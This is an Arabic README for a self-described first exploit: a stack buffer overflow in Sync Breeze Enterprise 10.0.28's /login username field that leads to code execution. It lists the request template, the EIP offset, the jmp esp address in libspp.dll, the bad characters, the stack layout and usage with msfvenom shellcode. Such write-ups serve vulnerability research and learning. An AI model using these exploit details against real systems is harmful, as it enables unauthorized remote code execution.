
تجاوز سعة المخزن المؤقت في Sync Breeze Enterprise 10.0.28 يسمح للمهاجمين عن بُعد بإحداث تأثير غير محدد عبر معامل اسم مستخدم طويل في /login
يستهدف هذا الاستغلال Sync Breeze Enterprise الذي يعمل على Windows 10 (x86, build: 16299)، ويؤثر على الإصدار 10.0.28، حيث يمكن لمهاجم غير مصادَق عليه إحداث تجاوز سعة المخزن المؤقت عبر محتوى طلب HTTP (HTTP-request body)، مما يؤدي إلى تنفيذ تعليمات برمجية عشوائية. يفترض هذا الاستغلال تعطيل جميع وسائل التخفيف الأمنية (مثل ASLR وCFG وDEP).
[!NOTE] طُوّر هذا المشروع أثناء تجربة تجاوزات سعة المخزن المؤقت الأساسية التي تستهدف ملفات ويندوز الثنائية. وهو أول استغلال أُطوّره. الاستغلال يعمل بشكل كامل، وقد نُشر لتوثيق تقدّمي في مجال أبحاث الثغرات وتطوير الاستغلالات.
إرسال طلب HTTP
يُنشأ الاتصال باستخدام الترويسات والمحتوى التالي:
POST /login HTTP/1.1
Host: <host>
Content-Type: application/x-www-form-urlencoded
Content-Length: <payload-length>
username=<payload>&password=?
الكتابة فوق سجل eip
يُستخدم العنوان الثابت 10090c83 الذي يشير إلى تعليمة jmp esp داخل libspp.dll لإعادة توجيه التنفيذ إلى المكدس عند إزاحة البايت 788.
تنفيذ shellcode
يجب أن يتجنب الـ shellcode المُعدّ الأحرف التالية: \x00\x0a\x0d\x25\x26\x2b\x3d.
graph
subgraph "syncbreeze.exe"
b1.0["
...... 41414141
...... 41414141
...... 41414141
(eip) <span style="color: cyan">10090c83</span>
"]
b1.1["
(<span style="color:lime">esp</span>) 90909090
...... 90909090
<span style="color:red"><shellcode></span>
"]
b1.0 ~~~ b1.1
end
subgraph "libspp.dll"
a1.0["`
(<span style="color:cyan">10090c83</span>) jmp <span style="color:lime">esp</span>
`"]
end
b1.0 --> a1.0
a1.0 --> b1.1

python3 exploit.py --host <host> --port <port> --file <file>
| Flag | About |
|---|---|
| host | الواجهة التي يستمع عليها Sync Breeze |
| port | المنفذ الذي يستمع عليه Sync Breeze |
| file | المخرجات الخام لـ msfvenom |